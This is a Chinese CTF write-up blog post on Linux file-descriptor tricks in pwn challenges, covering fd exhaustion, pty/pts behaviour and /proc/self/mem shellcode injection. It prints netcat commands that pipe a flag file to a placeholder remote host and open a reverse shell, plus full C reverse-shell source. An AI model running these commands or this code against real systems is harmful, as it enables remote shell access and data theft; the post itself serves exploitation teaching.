Play with file descriptor(Ⅲ)

栏目: 服务器 · 发布时间: 6年前

内容简介:接下来以一些 pwnable 题目为例分析一些 fd tricks,如果以后遇到新的操作会继续更新。 同样感谢大佬们的无私分享。有了前两篇的基础,这个就很简单了,只需要控制 read 的 第一个参数是 0 即可,当 fd = 0时,read 将会从 0 号文件,此时即为从 stdin 读取输入,接下来输入 “LETMEWIN\n” 即可。

接下来以一些 pwnable 题目为例分析一些 fd tricks,如果以后遇到新的操作会继续更新。 同样感谢大佬们的无私分享。

level 0: pwnable.kr - fd

fd@ubuntu:~$ cat fd.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
char buf[32];
int main(int argc, char* argv[], char* envp[]){
	if(argc<2){
		printf("pass argv[1] a number\n");
		return 0;
	}
	int fd = atoi( argv[1] ) - 0x1234;
	int len = 0;
	len = read(fd, buf, 32);
	if(!strcmp("LETMEWIN\n", buf)){
		printf("good job :)\n");
		system("/bin/cat flag");
		exit(0);
	}
	printf("learn about Linux file IO\n");
	return 0;

}

有了前两篇的基础,这个就很简单了,只需要控制 read 的 第一个参数是 0 即可,当 fd = 0时,read 将会从 0 号文件,此时即为从 stdin 读取输入,接下来输入 “LETMEWIN\n” 即可。

level 1: WDB2018_impossible

binary & exp here

我们只分析与 fd 有关的部分

memset(secret_random, 0, 8uLL);
  fd = open("/dev/urandom", 0);
  read(fd, secret_random, 8uLL);
  printf("Input your secret code:", secret_random);
  read(0, buf, 8uLL);
  if ( !memcmp(secret_random, buf, 8uLL) )
  {
    puts("Amazing! How can u know the secret code?");
    puts("Ok,u are the boss, u can do anything u want");
    puts("But u should be quiet about this, because this is illegal");
    puts("So...Close ur mouth...");
    close(0);
    qmemcpy(buf, bored_buf, 0x1000uLL);
  }

仔细看这段代码,open(“/dev/urandom”, 0); 后并没有对应的 close 操作。 因此如果重复运行这段代码,fd 会一直增加,到达该用户所能承受的最大量后(可以使用 ulimit -a 查看),下一次 open(“/dev/urandom”, 0); 就会失败,导致 read(fd, secret_random, 8uLL); 读了空数据,我们只需要输入 \0 即可通过 memcmp 的验证;

还有一点需要注意,这道题目随后关闭了 stdin (close(0)),因此即使我们能 get shell,我们的输入也不会被接受。但幸运的是题目只关闭了 stdin,stdout 和 stderr 还是可以用的,因此思路就有很多了,比如直接构造一段 open("./flag", 0); read(0, addr, 0x100); puts(addr) 的 ropchain 就可以得到 flag (因为 close(0), open(“./flag”, 0) 返回的 fd 将为 0)。

类似的题目还有 pwnable.kr - otp

level 2: Whitehat2018 - pwn3

binary & exp here

同样只分析与 fd 有关的部分,通过 ret2vsyscall 获得一次任意命令执行的机会后,剩下的目的就是如何获取 flag 了

void echo()
{
  int v0; // ST0C_4
  int v1; // [rsp+Ch] [rbp-E4h]
  char buf[216]; // [rsp+10h] [rbp-E0h]
  unsigned __int64 v3; // [rsp+E8h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  v0 = v1 + 32;
  read(0, buf, v0);
  printf("Echo machine: ", buf);
  write(1, buf, v0);
  close(0);
  close(1);
  strcpy(buf, deleteyourevilstring);
}

这道题目的 stdin 和 stdout 都被关闭了,但因为我们有一次任意命令执行的机会,至少有以下三种方法获得 flag:

  • 利用 stderr, 执行 sh ./flag 。当 shell 检测到 flag 的内容不是合法的 shell 指令时,会通过 stderr 将 flag 内容打印到显示屏上
WhiteHat2018_pwn03 [master●] sh ./flag 
./flag: 1: ./flag: flag{this_is_flag}: not found
  • 利用 pipe,前两篇提到 pipe 也是一种文件,虽然 stdin 和 stdout 被关闭了,但我们任然可以通过执行命令建立 pipe,利用 pipe 将 flag 内容发送到公网 vps,在 vps 上监听即可
WhiteHat2018_pwn03 [master●] cat ./flag| nc your_ip your_port
......
On vps:
ubuntu@VM-61-71-ubuntu:~$ nc -lvp your_port
Listening on [0.0.0.0] (family 0, port ????)
Connection from [1.202.222.147] port ???? [tcp/*] accepted (family 2, sport 47042)
flag{this_is_flag}
  • 建立一个 reverse shell,reverse shell 的原理完全可以另开一篇 post 介绍,这里就不再解释原理,在最后放了两篇参考链接,介绍的很清楚,对 reverse shell 不太了解的可以先读一下这两篇文章。
WhiteHat2018_pwn03 [master●] nc -e /bin/sh your_ip your_port
......

On vps:
ubuntu@VM-61-71-ubuntu:~$ nc -lvp your_port
Listening on [0.0.0.0] (family 0, port ????)
Connection from [1.202.222.147] port ???? [tcp/*] accepted (family 2, sport 47442)
ls
flag
libc-2.27.i64
libc-2.27.so
onehit
onehit.i64
solve.py
pwd
/home/m4x/pwn_repo/WhiteHat2018_pwn03
id
uid=1000(m4x) gid=1000(m4x) 组=1000(m4x),7(lp),27(sudo),100(users),109(netdev),113(lpadmin),117(scanner),124(sambashare),127(docker)

类似的题目有 0CTF2018 的 babystack

level 3: TokyoWestern2018 - load

bianry & exp here

这道题目用到了很多 fd 的知识

__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  char a1a[32]; // [rsp+0h] [rbp-30h]
  __int64 size; // [rsp+20h] [rbp-10h]
  __off_t offset; // [rsp+28h] [rbp-8h]

  set_buffer();
  _printf_chk(1LL, "Load file Service\nInput file name: ");
  get_str(filename, 128);
  _printf_chk(1LL, "Input offset: ");
  offset = get_int();
  _printf_chk(1LL, "Input size: ");
  size = get_int();
  load_file(a1a, filename, offset, size);
  close_all();
  return 0LL;
}

void __fastcall load_file(void *a1, const char *a2, __off_t a3, __int64 a4)
{
  __int64 nbytes; // [rsp+0h] [rbp-30h]
  __off_t offset; // [rsp+8h] [rbp-28h]
  int fd; // [rsp+2Ch] [rbp-4h]

  offset = a3;
  nbytes = a4;
  fd = open(a2, 0);
  if ( fd == -1 )
  {
    puts("You can't read this file...");
  }
  else
  {
    lseek(fd, offset, 0);
    if ( read(fd, a1, nbytes) > 0 )
      puts("Load file complete!");
    close(fd);
  }
}

void close_all()
{
  close(0);
  close(1);
  close(2);
}

栈溢出的漏洞很好发现,但关键是我们只有打开远程文件,并从文件中读取内容的能力。根据一切皆文件的思想,如果打开 /proc/self/fd/0 ,在 load_file() 中就相当于 read(3, a1, nbytes),但注意此时的 3 是 stdin,也就是说可以通过打开 /proc/self/fd/0 ,并从 stdin 读入数据来控制缓冲区内容。

那么我们要怎么利用呢?分析两种方法。

ropchain

pty 和 pts

先介绍一下什么是 pty 和 pts。我们已经知道 fd 指向被打开的文件,那么我们看一下 stdin,stdout 和 stderr 指向什么

others_reverse_shell [master●] ./file_descriptor
.......

others_reverse_shell [master●] pgrep file_descriptor
8942
others_reverse_shell [master●] file /proc/8942/fd/0
/proc/8942/fd/0: symbolic link to /dev/pts/2
others_reverse_shell [master●] file /proc/8942/fd/1
/proc/8942/fd/1: symbolic link to /dev/pts/2
others_reverse_shell [master●] file /proc/8942/fd/2
/proc/8942/fd/2: symbolic link to /dev/pts/2

都指向了 /dev/pts/2 这个文件,pts 是 tty 的一部分,后续会介绍。

在第一篇已经说到了 tty 子系统是用来管理终端的,对每一个连接的终端,都会有一个 tty 设备与其对应,关系如下:

+----------------+
                      |   TTY Driver   |
                      |                |
                      |   +-------+    |       +----------------+
 +------------+       |   |       |<---------->| User process A |
 | Terminal A |<--------->| ttyS0 |    |       +----------------+
 +------------+       |   |       |<---------->| User process B |
                      |   +-------+    |       +----------------+
                      |                |
                      |   +-------+    |       +----------------+
 +------------+       |   |       |<---------->| User process C |
 | Terminal B |<--------->| ttyS1 |    |       +----------------+
 +------------+       |   |       |<---------->| User process D |
                      |   +-------+    |       +----------------+
                      |                |
                      +----------------+

在 shell 里使用 tty 命令可以查看当前 shell 被关联到了哪个 tty

others_reverse_shell [master●] tty
/dev/pts/3
others_reverse_shell [master●] echo test > /dev/pts/3
test
others_reverse_shell [master●] lsof /dev/pts/3
COMMAND   PID USER   FD   TYPE DEVICE SIZE/OFF NODE NAME
zsh      8944  m4x    0u   CHR  136,3      0t0    6 /dev/pts/3
zsh      8944  m4x    1u   CHR  136,3      0t0    6 /dev/pts/3
zsh      8944  m4x    2u   CHR  136,3      0t0    6 /dev/pts/3
zsh      8944  m4x   10u   CHR  136,3      0t0    6 /dev/pts/3
lsof    10598  m4x    0u   CHR  136,3      0t0    6 /dev/pts/3
lsof    10598  m4x    1u   CHR  136,3      0t0    6 /dev/pts/3
lsof    10598  m4x    2u   CHR  136,3      0t0    6 /dev/pts/3

可以看到当前 shell 使用的是 /dev/pts/3,因此直接往 /dev/pts/3 写数据跟标准输出是一样的;

使用 lsof 可以看出当前 shell 和 lsof 进程的 stdin(0u),stdout(1u),stderr(2u) 都绑定到了这个 tty 上,此时它们的关系如下

Input    +--------------------------+    R/W     +------+
----------->|                          |<---------->| bash |
            |        /dev/pts/3        |            +------+
<-----------|                          |<---------->| lsof |
   Output   | Foreground process group |    R/W     +------+
            +--------------------------+

然后说一下 pty,使用 man 7 pty 查看 pty 的用户手册

DESCRIPTION
       A  pseudoterminal  (sometimes abbreviated "pty") is a pair of virtual character
       devices that provide a bidirectional communication channel.   One  end  of  the
       channel is called the master; the other end is called the slave.

pty 属于伪终端,“伪” 体现在 pty 是逻辑上的终端设备,但多用于模拟终端程序,比如使用 ssh,talnet 和 windows 下的 putty 等连接的终端时,此时并没有真正的设备连接到了主机,而是建立了一个 伪终端 来模拟各种行为。

从 man 手册中也可以看出 pty 分为 master 和 slave 两部分,其中 slave 部分称为 pts,master 称为 ptmx,二者结合实现 pty。工作流程可以简单的解释为进程通过调用 API 请求 ptmx 建立了一个 pts,然后会得到连接到 ptmx 的 fd 和一个新建的 pts(可以使用 man pts 查看更多细节)。

构造 ropchain

说了半天,再回到这道题目,虽然这道题目关闭了 stdin, stdout 和 stderr,pty 还在,换句话说,如果我们能控制 /dev/pts/? 的 fd 为 1,那么 puts(flag) 时就会把输出传递给 /dev/pts/? ,也就是我们能在显示屏上看到 flag。

总结一下思路:

  1. 利用 open(“/proc/self/fd/0”, 0) 来构造 ropchain
  2. ropchain 通过 open 和 read 把 flag 读到一个固定地址,同时控制 open(“/dev/pty/?”, 2) 返回的 fd 为 1
  3. puts(flag) 时,系统调用为 write(1, flag, len(flag)),也就是 flag 的内容将会输出到显示屏上

ropchian exploit here

reverse shell

或者我们可以使用 reverse shell 来 get shell,这需要用到一些 procfs 的知识,不准备细讲,只需要知道可以通过往 /proc/self/mem 写数据更改 binary 内容即可(类似的题目有赛博地球杯的 fileManager 这道题目)。

通过 vmmap 可以看出 0x400000 - 0x401000 段具有可以行权限,且地址是固定的,因此我们可以控制 open(“/proc/self/mem”, 2) 返回的 fd 为 1,然后通过 puts(shellcode) 既可以将 shellcode 写到这段地址上,再控制 rip 到 shellcode 就可以建立一个 reverse shell(reverse shell 的经典题目有 pwnable.tw 的 kidding 等)。

总结一下思路:

  1. 利用 open(“/proc/self/fd/0”, 0) 来构造 ropchain,ropchain 实现 open(“/proc/self/mem”, 2) 返回的 fd 为 1
  2. 通过 puts(shellcode) 将 shellcode 写到具有可执行权限的代码段,可以用 lseek 控制 puts 写的位置
  3. 控制 rip 为 shellcode 建立 reverse shell
  4. 可以使用 /dev/stdin 代替 /proc/self/fd/0,效果一样,可以给 shellcode 留下更多空间

revrese shell exploit here

reverse shell 原理

简单介绍一下 reverse shell 的原理,先给出经典的 reverse shell 的建立方式

others_reverse_shell [master●] bat reverse_shell.c 
───────┬─────────────────────────────────────────────────────────────────────────────────
       │ File: reverse_shell.c
───────┼─────────────────────────────────────────────────────────────────────────────────
   1   │ // reverse shell
   2   │ #include <sys/types.h>
   3   │ #include <sys/socket.h>
   4   │ #include <netinet/in.h>
   5   │ 
   6   │ #define NULL 0
   7   │ 
   8   │ int socket(int domain, int type, int protocal);
   9   │ int connect(int sockfd, const struct sockaddr *addr, socklen_t addrlen);
  10   │ int dup2(int oldfd, int newfd);
  11   │ int execve(const char *filename, char *const argv[], char *const envp[]);
  12   │ int close(int fd);
  13   │ 
  14   │ void reverse_shell()
  15   │ {
  16   │        char* address = "your_ip";
  17   │        int port = your_port;
  18   │ 
  19   │        // create a new socket but it has no address assigned yet
  20   │        int sockfd = socket(AF_INET/* 2 */, SOCK_STREAM/* 1 */, 0);
  21   │ 
  22   │        // create sockaddr_in structure for use with connect function
  23   │        struct sockaddr_in sock_in;
  24   │        sock_in.sin_family = AF_INET;
  25   │        sock_in.sin_addr.s_addr = inet_addr(address);
  26   │        sock_in.sin_port = htons(port);
  27   │ 
  28   │        // perform connect to target IP address and port
  29   │        connect(sockfd, (struct sockaddr*)&sock_in, sizeof(struct sockaddr_in));
  30   │ 
  31   │        // duplicate file descriptors for STDIN/STDOUT/STDERR
  32   │        for(int n = 0; n <= 2; n++)
  33   │        {
  34   │                dup2(sockfd, n);
  35   │        }
  36   │ 
  37   │        // execve("/bin/sh", 0, 0)
  38   │        execve("/bin/sh", NULL, NULL);
  39   │ 
  40   │        close(sockfd);
  41   │ 
  42   │        return;
  43   │ }
  44   │ 
  45   │ 
  46   │ int main()
  47   │ {
  48   │        reverse_shell();
  49   │ 
  50   │        return 0;
  51   │ }
───────┴─────────────────────────────────────────────────────────────────────────────────

如果前两篇看懂的话,那么参考这个代码,reverse shell 的原理就很好理解了

  1. 建立一个 socket,此时会新建一个 fd
  2. 给这个 socket 分配 ip 和 port
  3. 通过 dup2,将 socket 的 fd 复制到 0,1 和 2 上,这样 shell 的 io 就完全通过建立的 socket 了,这时如果我们监听这个 ip 和 port,就相当于拿到了一个 shell

References

https://lordidiot.github.io/2018-09-03/tokyowesterns-ctf-2018-load-pwn/

http://nano-chicken.blogspot.com/2014/07/linuxttyptypts.html

https://segmentfault.com/a/1190000009082089

http://shell-storm.org/shellcode/files/shellcode-219.php

http://tacxingxing.com/2018/01/19/procfs/

https://tdmathison.github.io/blog/slae32-1/

https://tdmathison.github.io/blog/slae32-2/

https://xz.aliyun.com/t/2548

https://xz.aliyun.com/t/2549


以上所述就是小编给大家介绍的《Play with file descriptor(Ⅲ)》,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对 码农网 的支持!

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

C++标准模板库编程实战

C++标准模板库编程实战

Ivor Horton / 郭小虎、程聪 / 2017-1

《C++标准模板库编程实战》介绍最新的C++14标准的API、库和扩展,以及如何将它们运用到C++14程序中。在书中,作者Ivor Horton 则阐述了什么是STL,以及如何将它们应用到程序中。我们将学习如何使用容器、迭代器,以及如何定义、创建和应用算法。此外,还将学习函数对象和适配器,以及它们的用法。 阅读完本书之后,你将能够了解如何扩展STL,如何定义自定义类型的C++组件,你还将能够......一起来看看 《C++标准模板库编程实战》 这本书的介绍吧!

在线进制转换器
在线进制转换器

各进制数互转换器

HTML 编码/解码
HTML 编码/解码

HTML 编码/解码

MD5 加密
MD5 加密

MD5 加密工具